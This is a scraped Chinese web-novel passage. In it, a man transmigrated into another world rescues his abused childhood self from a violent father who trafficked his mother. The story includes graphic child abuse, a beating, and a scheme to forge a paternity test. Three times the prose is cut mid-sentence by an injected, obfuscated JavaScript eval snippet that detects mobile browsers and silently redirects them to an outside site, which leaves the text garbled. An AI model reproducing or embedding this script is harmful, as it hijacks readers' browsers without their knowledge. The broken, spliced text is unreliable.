故事的开始,有一个很俗套的起点。 家暴的爸,跑路的妈,贫穷的家和沉默的他。 从黑崽有记忆开始,他的父母就和别人家的父母不一样。 父亲不是慈祥的,而是易怒的、懒惰的、阴晴不定的。 母亲不是温和的,而是沉默的、逆来顺受的。 家中的生计,大多靠着母亲一人下田种地得来,一家人过得紧巴巴的。 只是向来懒得出奇的父亲,每次轮到要上县城卖菜时倒是从未推诿过,甚至从不允许母亲自己去。 黑崽不明白为什么。 他在村子里并不受欢迎,大人们看见他都神情复杂,而小孩子们最是欺软怕硬,遇见他就会围着他,笑嘻嘻地喊他黑崽、野种,说他妈妈是不知道从哪儿蹦出来的疯婆娘,不仅赖在他家不走、还生了个孩子。 黑崽反驳过,说他妈妈很正常,不是疯婆娘。然后身上就被扔了一堆零零碎碎的小石子,砸在身上冰雹一样疼。 母亲除了下地种田,很少干家务活,不管父亲怎么打骂她都不会动弹一步,就连种田,也是因为他们要生活,不种田养菜就活不下去。 黑崽很懂事,他在有记忆以来,第一次看见父亲因此打骂母亲的时候,就上前抱住了男人的大腿,说:我可以做饭,不要打妈妈。 所以从那以后,家里的饭菜和卫生都是他来负责。 母亲有时候会帮他一把,但也不多,她更多的时候是在发呆。 父亲出门不在家的时候,母亲就总是喜欢坐在门口的石墩子上发呆,日复一日。 活做完的时候,他也发呆,在母亲后面的小凳子上,看着对方的背影,很安静得一声不吭。 从小到大,因为家庭氛围和别人家的不同,他习惯了不向父母撒娇,也习惯了适应安静。 有一次没忍住,他走过去喊她,妈妈。 母亲便回过头,用一种他看不懂的眼神看着他。 黑崽说:“妈妈,你在看什么?” 母亲回:“我在看去县城的路。” 他们住在南城的某个不知名的村子里,其实坐在这里往外看,能看到的只有四面环绕、围住整个村子的高耸大山。 “你在因为去不了县里难过吗?” 母亲看了他很久,眼里带着一种奇怪的光芒,点了点头。 她难得温和地对黑崽说:“要是有一天我去了县里,回来就给你带糖吃。” 糖,黑崽听过的。 邻居家的小男孩很受父母和爷爷奶奶喜欢,每次他爸爸去城里进货买东西,回来都会给他带一把奶糖。 黑崽每次都在自家院子里眼巴巴看着,但因为从小没什么孩子跟他玩,所以那个小男孩分糖果的时候,旁边都是村里其他小孩在争抢,但从来没有他的份。 他们喊着好甜,好吃……黑崽听得口齿生津,忍不住擦口水,不禁也去想,糖到底是什么味道? 他从没有吃过“甜”味的东西。 母亲看在眼里,也未曾说过什么。 黑崽一直长到五岁,从没吃过糖,也不敢向父母亲讨要——母亲给不了,父亲不会给。 而现在,妈妈说会给他带糖吃。 黑崽第一次鼓起勇气,在当天晚上父亲回来后,去问父亲,母亲为什么不能去县城? 他扯着父亲的袖子祈求对方,说,让妈妈去城里逛逛好不好?她在家里很难过。 他当然没有得到答案,也没有等来父亲的应允。 他得到的,只有父亲突然的暴怒和劈头盖脸的拳头。 母亲护住了他,他们紧紧抱在一起,在父亲的打骂声里。 那是黑崽记忆中,母亲第一次,也是最后一次拥抱他。 那或许甚至不能被称为一个真正意义上的拥抱。 这样的打骂在以往太常见了,但从来都是父亲对着母亲拳打脚踢,而他在一旁手足无措,哭着去求父亲不要打了,然后被一脚踢开。 黑崽以为,这次也和往常一样,妈妈会在第二天的早上整理好仪容,然后沉默着起床,去田里干活。 但是他想错了。 当天夜里,母亲收拾了自己为数不多的行李,趁着父亲熟睡,叫醒了隔壁屋子里的他。 “阿崽,”母亲说,“我要去城里了,明天你爸爸醒了,跟他说我去田里了,好吗?” 黑崽睡得迷迷糊糊的,灯光下,从未见过这样温和的母亲。 他下意识点点头,又问:“妈妈,你去城里会给我买糖吗?” 母亲摸了摸他的脸,说:“会的。” 黑崽又说:“那你去城里会开心一点吗?” 母亲沉默了片刻,还是说:“会的。” 黑崽放开了手,看着母亲在夜色里,一步一步离开了家门,身影融入浓重的黑暗里,再也没有回过头。 他第二天睁开眼,像和妈妈商量好的那样,忐忑地欺骗父亲,母亲去种田了。 但父亲很快发现了不对劲,因为直到中午,母亲都没有回来。 他像一头无能狂怒的狮子,砸碎了家里一切能砸碎的东西,又狠狠揍了黑崽一顿,逼问他母亲到底去了哪里。 黑崽终于开了口,但只是说:“妈妈去城里给我买糖了。” 父亲扇了他一巴掌,在黑崽还没反应过来的时候,忽然摔门而出。 黑崽就从天亮等到天黑。 父亲回来了,满脸的疲倦。 他的身后没有母亲的身影。 黑崽忍了又忍,没能忍住,怯生生地问父亲。 “妈妈呢?” 父亲再次暴怒了。 拳头像雨点一样落下,就像曾经落在母亲身上一样。 他说:“你妈跑了。” 黑崽缓了一会儿,才理解了“跑了”的意思。 这年他五岁,刚学会自己垫着凳子做饭而不至于老是摔倒,并能将家里的一切打扫得干干净净整整齐齐,刚得到了妈妈的第一个拥抱……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033589|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他的妈妈跑了。 于是这个家里,只剩下了黑崽这个在错误之下诞生的孩子。 妈妈再也没有回来过,他等待的糖果,也没有人会送到他手上。 他成了父亲新的泄愤工具,也变得更加沉默。 因为时代普及九年义务教育,县里的人来村里普查过,姜父为了糊弄对方,七岁的黑崽才得以去上了学,但是贷款上的,学校还是不算正规的村里唯一的小学。 因为贷款上学的事情,父亲那几天看他格外不顺眼,身上的淤青也更多了些。 不过好在接下来几年,大部分时间他都在学校里,只有在晚上回家才会面对父亲,煎熬的程度算是还能接受。 只是家里的折磨能够借助学校暂避,学校里的霸凌却躲无可躲。 他连幼儿园都没上过,就直接进了小学,学业上难免跟不上。 加上他没有个正经名字,登记在这所私人学校的信息也是那个简陋的小名“煤球”,和其他学生格格不入。 一开始学校的孩子们会说黑崽是爹不疼娘不爱的哑巴,后来黑崽妈妈跑了,他们又说妈妈嫌他是个累赘不要他了,爸爸也不喜欢他这个扫把星。 黑崽每听到一次都会认真反驳一次,妈妈没有不要他,妈妈只是去城里了。 那群孩子于是嘲笑得更大声了,骂他傻子。 黑崽在他们嘲笑和讥讽声里,一年年长大。 夜深人静时,他总是安慰自己,没关系,长大就好了,长大了可以自己去找妈妈。 妈妈不想回来,那他就自己去找她。 他想,反正不会比母亲那几年更难熬。 就这样熬着,直到九岁,黑崽忽然被父亲带进了城里。 他们住在深黑杂乱无章的破旧巷子里,老旧居民楼的空间小得可怜,到处都是蚊虫鼠蚁,墙壁布满了油垢和漆沫……而且只有一间房。 他不敢和每天都喝得醉醺醺的父亲一起睡,每晚都缩在床尾蜷蜷成一团,卷着邻居奶奶送的旧被子,白天天不亮就起床,走很远的路回到村里去上学。 父亲也从没管过他的冷暖。 他问过父亲为什么要突然搬家,父亲冷冷地一笑:“你不是想来城里找你妈吗?” 黑崽于是明白,父亲也许是知道了关于母亲的消息。 但他并不想要母亲的下落被父亲知道,他更希望母亲能自己在某个他们不知道的地方好好活着,开心地活着。 他虽然年纪小,但已经知事不少了,村子里人人都对他们家态度奇怪,黑崽也猜到了一些。 他妈是被他爸拐来的。 他妈跑了,是跑回自己的家里了。 所以这个家,有他一个人受折磨就好了。 父亲不肯透露他知道了什么,再多问,就不耐烦地挥手,威胁他:“再多问就打你。” 黑崽于是也只能把日子浑浑噩噩地过着。 十岁那年,父亲终于还是找上了母亲现在住的地方。 他的母亲姓林,家中算是小富之家,在江城也小有名气,父亲以“她给我生了孩子、孩子在我这里”为由上门勒索,要黑崽母亲家里拿出抚养费,否则就将她被□□的事情曝光。 他当然没有如愿以偿,那家人虽然思想老旧,觉得女孩家的名声贞洁最重要,但也不肯吃这种亏,直接将他赶了出来,转头又将他母亲送到了其他城市,说什么也不肯认下黑崽这个孩子。 他父亲吃了闭门羹,一连几天都是灰溜溜地回了家,甚至被警告再去骚扰他们就要报警。 父亲也怕他买卖女人的事情被曝光要吃牢饭,终于老实下来,不再去了。 黑崽默默将这一切看在眼里,甚至由衷地替母亲松了一口气。 终于甩脱他这个累赘了。 以后,妈妈会过得更开心吧。 5. 相遇 拿不到钱,父亲的怒火自然而然就发泄在了他身上。 当天下午,他醉气熏天地踹开家门,蹲在家中唯一的木桌旁写作业的黑崽便不由自主抖了一下。 他刚抬头看过去,就被男人一伸手直接拎住了。 沙包大的拳头密密麻麻地往他身上砸,这个动作一出,黑崽便闭上了眼,几乎麻木地抱着膝盖,熟练地蜷缩起来,做出自己最常用的、能缓解疼痛的一个姿势。 他等着父亲来得莫名其妙的怒气消散,然后他就可以捡起地上被踩得一塌糊涂的纷乱的作业本,小心擦掉那些脚印,再继续安安静静写完他的作业。 那是学校里对他最好的语文老师布置的作业,他不想辜负对方的期待,他应该写完。 但这一次,暴力不止于此。 一顿毫不收敛的拳打脚踢后,父亲坐在床边,点了一只廉价的香烟。 他吞云吐雾,黑崽则小心翼翼地站起身,试探性地去捡地上的作业本。 因为脚不小心碰到了屋里丢在地上的玻璃酒瓶,原本安静的屋内一瞬间显得更加安静了。 父亲果然暴怒,再次拎起他往桌上一摁,嘴里那只还没灭掉的香烟,就这样直接按在了他后颈与肩胛的衔接处。 口中还狠狠骂着:“小杂种,跟你娘一个贱德行!” “让你放跑那个死娘们!” 洗得发白的长袖校服上瞬间被烫焦了一个洞,年幼的孩子自然是忍不住这种疼的,立刻惨叫出声。 稚嫩的皮肤被烫翻了血肉,丝丝往外冒着烟,父亲犹觉得不够,又用力碾压了两下,直到烟头灭了火。 因为疼得太厉害,从来逆来顺受的黑崽没忍住,下意识扭过头,朝着父亲的手腕狠狠咬了一口。 这一口用尽了力气,虎牙嵌进父亲的手腕,刹那间就流出了血迹。 父亲大叫一声,甩了烟支,将手下的孩子随手往旁边一丢,抬脚狠狠几脚踹过去,捂着手腕痛骂:“死兔崽子还敢咬我!你真是不想活了!” “滚!今天别让老子看见你!” 黑崽喘着气,眼前发黑,额头冒着虚汗,被踹得连连后退,几乎站不住脚。 但眼前父亲凶恶的嘴脸和身后仍然疼到颤抖的伤口,却让他不得不屈从地低下头,从桌上拿过自己单薄校服外套,几乎不敢发出任何声音,在对方的注视下,一瘸一拐离开了这间屋子。 屋外,不知何时,已经下起了雪。 …… 姜洄有些呼吸不稳,眼前发黑。 他站住片刻,才从眩晕里回过神,听见002在耳边的呼唤声:【宿主,你怎么了?】 姜洄缓了缓。 002说:【这里是落日街,我能查询本世界人物信息,这个世界的你……就在前面的巷子里住着,对吧?】 姜洄安静了两秒,嗯了一声。 他边说着,边抬起脚步,慢步朝那条小巷子走去。 要问后来? 后来,当然是他蹲在门口的台阶上,差点冻死过去的时候,被隔壁的许奶奶发现了,带回家住了一晚,第二天,又被盛怒的父亲揪着耳朵带了回去。 而此时,巷子里,雪花堆了满满一地,在夜色中反射着银白的微光。 一道小小的身影蹲坐在门前布满青苔的台阶上,风雪覆盖了他的眉眼,在漫天纷纷扬扬的大雪中,他抱膝沉默,如一座毫无生机的雕塑。 姜洄的步子变缓。 002怀疑道:【宿主,我提醒过你,非必要情况不得干涉本世界线上任何人物的命运轨迹发展,你应该记得吧?】 姜洄淡然道:“我知道。” 他收回视线,盯着脚边缓缓落下、融入雪地的雪花看了两秒,视线像是聚焦了,又像是没有。 他没有停留,从巷口径直走过去了。 巷子里的男孩仿佛被这清浅的脚步声惊到,抬头看了一眼,却只看到了男人匆匆掠过的衣角。 他茫然了一瞬,又低下头。 不是认识的人就好。 要是让隔壁许奶奶看见他这样,又该担心了。但好在奶奶晚上睡得早,大概率不会这个点出门。 他的脸被风吹得僵硬通红,几乎感知不到什么了。 寒风裹挟着晶莹冰冷的雪花,从他尽力包裹住自己却仍旧单薄的外套领口往里钻,四肢百骇都透着凉意。 实在太冷了……黑崽没忍住,努力克制着自己的音量,打了个喷嚏。 另一边。 002刚松了一口电子气,却见姜洄忽然又停下了步子。 他们走得不远,002自然也听见了那声微弱的喷嚏声。 它顿时心生不妙:【宿主……你不会回去的对吧?】 姜洄答非所问。 他笑了下:“小二,你之前不是问我,任务完成之后,原主回来了不会经营公司该怎么办吗?” 002:【对啊,我确实问过……等等,小二叫谁?】 姜洄:“我好像找到办法了。” 002茫然:【啊?什么办法?】 姜洄轻声道:“就是可能,要小小违规一次。” 这次不等002反应过来,姜洄已经转过身,踩着地上堆了厚厚一层的雪地,在轻微的咯吱声中,重新走了回去。 细碎的雪花打湿了他黑色的长靴,姜洄朝那个蜷缩成一团的孩子走去,极轻地停在了对方面前。 像是停在了自己晦涩不堪的过去。 手中的那把伞,也倾向了年少时的自己。 伞下的孩子动了动,察觉到什么,缓缓抬起头,懵懂地对上了他的视线。 这一刻,他们周围万籁俱静,只有寒风呼啸。 风雪停在了黑伞之外的结界,他们一个坐,一个站,一个茫然,一个沉默。 那孩子颤抖着开口,问:“哥哥,你在给我打伞吗?” 姜洄看着他,仿佛透过他,看见了曾经狼狈不堪的自己。 他嗯了一声。 离开家后的很多年,他也想过,如果有机会回到过去,他会不会提前离开这个地方。 答案都是他想。但他不会。 因为对于那时的他而言,是没有力量独自生活的,离开了酒鬼父亲,他甚至连一个住所都找不到。 那如果有另外一个人呢? 如果有另外一个人出现在他的世界里,将他拉出这滩恶心脏污的泥潭,那他的人生,会不会截然不同呢? ……可这也只是想象。 因为不会有人有这个闲心,突发奇想去救一个一无是处、被称为扫把星的孩子。 他也回不到过去了。 但现在不一样。 他想,哪怕重来一万次,他还是没办法对自己的痛苦视而不见。 黑崽苍白的唇瓣蠕动了一下,迅速朝自己身后的门看了一眼,捏着衣角的手不安地揉搓了一下,揉了一手冰凉的雪水。 “……哥哥,谢谢你,但是你走吧,我爸爸看见了要生气的。” 姜洄没有回答,他只是拍了拍这孩子身上的厚厚堆积的那层风雪,随即伸手,淡淡道:“不冷吗?起来。” “……冷。” 黑崽犹豫地抬起手,抓住了他的手指。 姜洄以为自己的手已经够冷了,没想到黑崽的手更是冷得吓人,整只手都冻红了,连动一下都艰难。 他微微倾身,将这孩子的两只手都抓进了风衣里,隔着衣服,一下一下搓着他的手指,面无表情地帮他回温。 黑崽愣愣的,因为离得近,甚至闻到了面前人身上清淡的香味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033590|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 很好闻,他从来没有在任何一个人身上闻到过,若即若离,他也形容不出来这是什么味道。 这个好看的哥哥……在给他暖手? 姜洄有点后悔今天没有戴手套出来,搓了两下,确定他手指能活动如初,又将身上的风衣脱了下来,盖在了他身上。 黑崽接住衣服,手指蜷缩了下,衣领里探出来的脑袋显得十分茫然:“哥哥……” “穿上。” 姜洄自己还穿着两件毛衣和一只围巾,并不算很冷。 黑崽嘴唇蠕动了一下:“……谢谢,但是我爸爸看见会……”会更生气的。 “你住这?” 姜洄明知故问。 黑崽慢慢点了点头,低下目光。 姜洄站得很近,他又比黑崽高很多,一眼就能看见他背后还未结痂的新鲜伤口。 他神色冷了几分,扭过头,吩咐巷子口的保镖一号:“麻烦去买点烫伤药来,小孩子用的。” 保镖一号点点头,虽然跟着老板时间不长,但对方出手阔绰,也不摆什么老板架子,这点小事他还是很乐意帮忙的。 给他买的吗? 等巷子口的保镖之一都已经离开了,黑崽才后知后觉地想起这个问题。 他们没聊几句,背后,原本紧闭的屋门忽然被人大力拉开了,男人不耐烦的身影旋即出现在门前。 “吵什么呢!小兔崽子又搞什么幺蛾子……” 他的声音顿住了,目光在门口站着的姜洄身上一扫而过。 虽然做人不怎么样,但他还是能看人的,分得清穷人和富人的区别。 这小男生一看就是富贵人家出生,皮肤嫩得能掐出水,一身的大牌货,气质也是普通人家养不出来的。 当下眼中就闪过一抹贪婪的光,又掩饰性咳了一声:“你谁啊?站这干什么?” 黑崽小声回应:“爸爸,只是一个路过的大哥哥……” 他爹瞪他:“谁问你了?” 黑崽耳朵很轻地抖了一下,往旁边挪了挪,避开了他凶狠的目光,不再说话了。 姜父看着他身上一眼看去就相当名贵的风衣,顿了顿,又骂:“从哪儿捡的衣服?谁让你穿在身上了?不知道的还以为老子养了个捡破烂的儿子呢!” 不等黑崽回应,他又转头质问姜洄:“这是你给的?” 姜洄冷淡地看着他,并不回话。 距离他真正摆脱这个噩梦般如影随形的家,也才不过五年。 他曾以为他已经彻底放下了,因为只过去几年,连这个男人的面容他甚至都已经记不太清了,记忆中的脸只剩模糊一片。 但再次见到对方,他才知道,原来他还记得。 记得这个家带给他的一切暴力,也记得那段岁月带给他的难以磨灭的伤痕,那些辱骂、嘲讽、疼痛……堆积成了腐臭的苔藓,此后数年,在他骨缝间不断滋生出经年不散的潮湿,一旦记起,恨意就将随着回忆灭顶卷席。 而当记忆中的人再次出现在面前,那痛苦就在眼前愈发清晰。 只是保持冷静已经成了他刻在骨子里的本能,所以此刻,哪怕内心恶心到恨不能扭头就走,脚下却还是扎了根一般,稳稳站着不曾挪动。 保镖二号察觉到不对,也走上前站在他身后,朝着男人瞪了回去。 敢吼他雇主?必须瞪回去! 姜父表情一僵,视线在他一身健硕肌肉上停顿了一下,语气收敛了几分。 “什么东西就敢往别人家孩子身上随便套,要是有什么传染病,你能付得起责吗?” 姜洄的眼神扫过他身上沾着喝醉酒后已经干涸的呕吐物的外套、再掠过他身上灰不溜秋不知道多久没洗的衣裳,眼神讥讽。 也不知道脏的到底是谁。 6. 违规 黑崽忍了忍,没忍住,扯了扯父亲的袖子:“不脏的。” 不仅不脏,甚至还有股淡淡的香气…… 这话他当然不敢说出来,姜父也并不在意。 像是被姜洄的眼神激怒,他并未理会黑崽,看都没看一眼就直接甩开了他,抬手指向姜洄,声音陡然拔高:“你别以为有几个臭钱就了不起!我孩子要是得了什么病就是你的责任!” “除非——”姜父话音一转。 姜洄扶了一把黑崽:“……没事吧?” 这孩子在台阶上重新站稳了,又悄悄看他一眼,低声说:“谢谢。” 姜洄重新看向姜父:“除非什么?” 姜父阴阳怪气地哼道:“除非你现在给我十万块,这事就当平了。” 十万块? 黑崽原本低下去的脑袋瞬间抬起来,嘴巴张大几分,不敢相信父亲怎么能这样无耻。 路过的好心哥哥给了他一件衣服,父亲竟然借此敲诈十万块? 保镖二号也是面色古怪,只觉得这人脑子有病。 说话间,买药的保镖一号拎着药袋子回来了,见此情形,有些诧异地顿在一边,一时不知该不该上前跟自家老板说话。 姜洄倒是若无其事,示意对方将药递给黑崽。 姜父出离愤怒了:“喂,小子!你有没有在听我说话?” 黑崽看看父亲的脸色,再看看陌生哥哥平静的表情,犹豫着不知该不该接过去。 姜洄此时才慢条斯理道:“听着呢。” 姜父皱着眉,仍旧黑着脸:“那你是什么想法?你今天要是不肯给钱,就别想从这里走出去!而且看你样子也不缺这点钱,但我要是把这事说出去,你可有得好受吧?” 有钱人不就最在乎那点面子吗?能用钱解决的事情都不会轻易撕破脸皮浪费时间去处理。 姜父一个多年老赖,自认为已经看透了有钱人的心态,十分自信得意,似乎并不认为姜洄真的会把他怎么样。 但他想错了。 在他嚣张的眼神注视下,姜洄捋了捋袖子,反问他:“你刚刚说,我要是不给钱,就走不出这条巷子?” 姜父道:“是又怎么样?” 姜洄回头,对两个保镖道:“你们都听见了。” 两个保镖点点头。 他又对黑崽说:“你也听见了。” 黑崽眨眼,迟钝地点了下头。 姜洄朝他笑了下。 然后突然抬起一脚,直接踹向姜父。 这一脚没有余力,姜父毫无反应的时间,当即就被一脚揣进了门里,脚跟绊倒了门槛,慌乱间身形不稳,直接重重砸在了地上。 他脊背砸在屋里没有铺设地板的水泥地上,一时痛得呲牙咧嘴,指着姜洄惊恐道:“你你你……你怎么打人呢?!” 姜洄面不改色,越过目瞪口呆的黑崽,跨过门槛,停在了姜父面前。 他随手抓起姜父的衣领,说话间呵出几分白气,连话语也带着一股冷意,一字一顿道:“打的就是你,龟孙子。” 不等姜父反抗,他又是一拳过去:“虐待孩子,是吧?” 姜父:“你胡说八道!” 姜洄却根本没想要得到回答,因为事实如何,他比任何人都清楚。 他没理会姜父的乱叫,手中仍旧稳稳压制着对方,凭借多年良好的运动习惯,要对付一个被喝酒掏空了身体的中年男人,实在是太容易了。 姜洄第二拳砸下去,语气依旧是平淡的:“勒索敲诈、人身威胁,是吧?” 姜父还没回答,第三拳又落了下来:“拐卖妇女、严重家暴,是吧?” “你怎么知道……不对,你胡说!” 姜父忍不住了,一边疯狂挣扎,一边大喊大叫:“你这个疯子,放开我!我要报警了!” 姜洄又慢条斯理打了他几拳,但一点都没收敛力气。 期间姜父嘴里污言秽语不断,姜洄都充耳不闻,面色平静得像是在完成一件非常常见的事情。 几拳将对方打得鼻青脸肿,他终于松开了手。 “不用你报警,我已经报了。” 他站起身,从口袋里拿出手机,在姜父眼前晃了晃。 屏幕上的拨号界面,110三个数字相当清晰。 姜父的表情一滞。 姜洄转过身,朝外走去,路过黑崽身侧,接过一旁保镖默默递过来的纸巾,面无表情地擦了擦手。 虽然并没有什么明显的情绪体现在脸上,但就是能看出来,他很嫌弃。 “既然你看得出来我是有钱人,那你看不看得出来,我也相当的吝啬?”姜洄转头,冲着地上还没缓过神的男人笑道,“今天你遇到我,也算是你倒霉了。钱,一分都没有,关于你家暴和勒索这两件事,我也会如实一一告诉警方。” 说罢,他不再看向对方,随手将手里的纸巾扔进了巷子一旁的垃圾桶。 黑崽看完全程,从一开始的错愕,到现在站在门前僵看着姜洄,眼里藏着几分无措。 姜洄顿了顿,听见巷外警车的声音由远及近,手指蜷缩了一下,有些想摸摸这孩子的脑袋。 但不知为什么,他最终还是移开了目光,没有这样做。 只是嘱咐:“背上的伤口……记得每天抹点药。” 黑崽点点头,又说:“……谢谢哥哥。” 虽然不知道这个陌生哥哥为什么帮他,甚至还给他买了药……到现在他都仿佛身在梦中一般,没有真实感。 一直到警车来后,将几人分别带去做了笔录,连民警听到姜父不要脸地敲诈十万块后都忍不住笑了。 何况姜洄身份并不一般,只是训诫了几句以后不要冲动,姜洄就被放了出来。 而黑崽在被问到关于“家暴”的事情时,只是低头沉默,既不点头也不摇头,一副畏畏缩缩的模样。 但民警自然也在他身上发现了那块被烟头烫焦的痕迹,暗自骂了一声,也在心里有了决断。 姜洄从警局出来后,没有立刻离开。 黑崽不多时也出来了,但只有他一个人,一旁还有个中年民警陪同。 他没有露面,在角落的车边目送黑崽四顾一圈,然后有些失望地低下头、上了民警送他回家的车,这才收回视线。 至于姜父? 拐卖妇女的事情姜洄手上还没有证据,并没有和民警提起,姜父自然也不会主动提及。 但家暴是板上钉钉,几个年轻民警都正是相当热血冲动的年纪,不可能说放过就放过,拘留是肯定的了。 但这还不够。 姜洄既然要管,那就必须管到底。 否则那个人渣回了家,还是要和从前一样地对待黑崽,甚至可能更甚。 回到别墅,002终于忍不住了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033591|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【宿主,你到底在干什么?】 之前它有提过不能随意干涉世界人物的命运,姜洄也一直老老实实的,甚至从来没问过一句这个世界的“姜洄”此时在哪里、是什么情况。 它也就放下了心,以为这位宿主会是个老实本分只做任务的主。 但事实证明,心不能放早了。 姜洄一边翻阅资料,一边淡然道:“在做任务。” 002的电子音都要气笑了:【你是说,干涉这个世界“姜洄”的命运轨迹,这是你的任务?分明是你的私心吧?】 姜洄:“我现在回答你的问题,如果原主回来了,公司该怎么办。” “培养一个合格的继承人,让对方继承公司。原主回来了,也不需要他努力学习从头开始,让继承人管理公司,他只要继续吃喝玩乐就行。” 002:【你是说……】 姜洄道:“他是我选中的继承人。” 002:【可是、可是……】 它可是半天,也不知道该怎么说。 违规吗?好像是的,但是宿主又是为了任务,并且这种做法确实能解决任务面临的问题。 好半晌,它终于知道可是什么了。 【可是,这个世界的“姜洄”……黑崽,他怎么才能成为赵茴的继承人?】 姜洄耸耸肩:“也很简单,让他父母双亡,只能被送到孤儿院,再伪造一份亲子鉴定,去领养他……嗯,当然不是伪造成我的,毕竟我这具身体现在刚成年。” 伪造成赵茗的,从年龄上来说,赵茗比弟弟大了一轮,三十去世,豪门子弟十八九岁的时候有个流落在外的私生子也很正常吧? 况且伪造成他的孩子,对任务也更有利。 姜洄说到这里,顿了顿。 “你说过会帮我的,伪造亲子鉴定这种事,你能做到吧?” 002沉默。 它当然能做到。 而且这个计划竟然是可行的,毕竟要瞒住的只有赵青一家,外人不会轻易打探这种隐私,就算要打探,有系统加密,也没人能知道黑崽真正的身世。 某种程度上来说,有系统出手,黑崽的赵家少爷身份就已经坐实了。 而且身为赵茗的孩子,他拥有第一顺位继承权,又有个小叔叔在一旁照顾,这遗产和股权怎么也轮不到赵青。 要是对方还是蠢蠢欲动,想再发起一场车祸……那就是亲手给姜洄送把柄了。 但是…… 【父母双亡?你要对姜顺做什么?】 姜顺就是姜父的名字。 姜洄勾了勾唇,手指按下了鼠标键,便向对面的私家侦探发送了一封邮件。 口中轻描淡写道:“送他下地狱。” 002还没对此有所反应,姜洄说罢,便又笑笑:“我毕竟是被你还没问清楚就强行拉过来做任务的,这种违规,不至于要我的命吧?” 002支支吾吾半天,最后泄气道:【算了,记你一笔,下次不许了!】 姜洄心里松了口气,语气轻松地应了。 系统这边过关,那事情就好办多了。 此后十天,姜洄没有再经过那条小巷,也没有再过问黑崽一句。 十天后,姜顺前脚刚出看守所的门,后脚就又被拷了起来。 “这位先生,你涉嫌拐卖妇女以及借贷赌博,请跟我们走一趟。” 7. 收养 大家都说父亲像一座山,姜洄曾经也深以为然。 十五岁之前,父亲的身影在他心中不可撼动。 他所带来的阴影与屈辱,甚至远远高过一座山带给他的压迫。 十五岁之后,他一脚踏进了娱乐圈,从此在这个大染缸里看遍了世间百态、人情冷暖。 再回头时,父亲的身影似乎也不是那样难以撼动了。 因为比他更不可动摇的,大有人在。 五年后他摆脱了这个噩梦的家,删除了父亲所有联系方式,费了很大的劲才如愿将对方送进了牢里……又觉得,父亲好像也并不怎么厉害。 他甚至连言语侮辱采用的都是最低级的词汇,听在人耳中只想发笑。 因为在胜利者眼中,那是无能者的怒吼。 如今,他看着私家侦探手机里发来的姜顺入狱照片,良久,才很轻地笑了下。 以赵家的地位和财富,甚至不需要他如何用心,稍微动动手指,就会有一堆人前仆后继地涌上来帮他处理那些碍眼的渣滓。 权势,多令人沉醉的字眼啊。 他第一次意识到,世上没有什么事情,是权和钱解决不了的。 哪怕是曾经以为不可撼动的山川,只要令他不快了,也可以在他面前眨眼消逝。 摆脱对方——这个曾以为遥不可及的想法,现在竟然如此简单就完成了。 姜洄坐在椅子上安静了很久,听见002轻声提醒他:【判决书下来得很快,无期徒刑。因为姜家没有其他亲属,黑崽要被送到福利院了。】 “嗯。” 姜洄打了个电话,安排人这几天去福利院做义工,有机会的话,趁机拿两根黑崽的头发。 虽然系统可以作弊,但对外也要做足了样子。 002问他:【你想去看你父亲吗?】 姜洄飞快道:“不。”谁要看他? 002疑惑:【我看你很伤感的样子……】 姜洄:“你要明白人类有一种状态是发呆。” 002:【哦。】 又过了几天,姜洄拿着亲子鉴定书,来到了江城这家中规中矩的福利院。 来接待姜洄的老师告诉他,黑崽和这里所有孩子都不一样,他不爱说话,也不爱交朋友,总是坐在角落里发呆,常常看着某个地方就是一整天。 福利院院长觉得他煤球的名字不好听,而且小气,黑崽这个名字更是一言难尽,除了顺口没有别的优点,想给他改个名字,但他只是摇头,拒绝,却不说话。 才来了没几天,黑崽已经融不进福利院其他孩子的群体里面了。 姜洄只是听着,不时点点头。 意料之中。 接待他的老师忍不住看了他两眼,问:“您是来收养孩子的吗?” 姜洄又点头,又摇摇头:“是,也不是。” 老师犯了糊涂:“那您到底……”是收养还是不收养啊? 姜洄递出手里的亲子鉴定和一列文书:“准确来说,是认回。” 赵家在江城的地位,哪怕是普通人,也或多或少听过一些,大半个月过去,如今姜洄稳坐集团首把交椅,赵家不仅没有因为接二连三的打击而湮灭于上流贵族圈内,甚至隐隐有些欣欣向荣的趋势。 不说手上这份亲子鉴定到底是真是假,只说赵家掌权人亲自来接人,就已经证明了赵家收养黑崽的决心。 老师看看鉴定,再看看他,错愕半晌,点点头:“这家机构我认得,确实可信……但,容我多问一句,黑崽不是有父亲吗?甚至还是因为拐卖妇女坐牢的。” 姜洄淡定解释道:“前段时间我见到过这个孩子,看他长得和我有些相似,也想到了我大哥……因此自作主张,做了个亲子鉴定,没想到真相竟然也如此巧合。” 他道:“我记得这个孩子在姜家没有上过户口,有没有可能,是因为这个孩子也来历不正?” 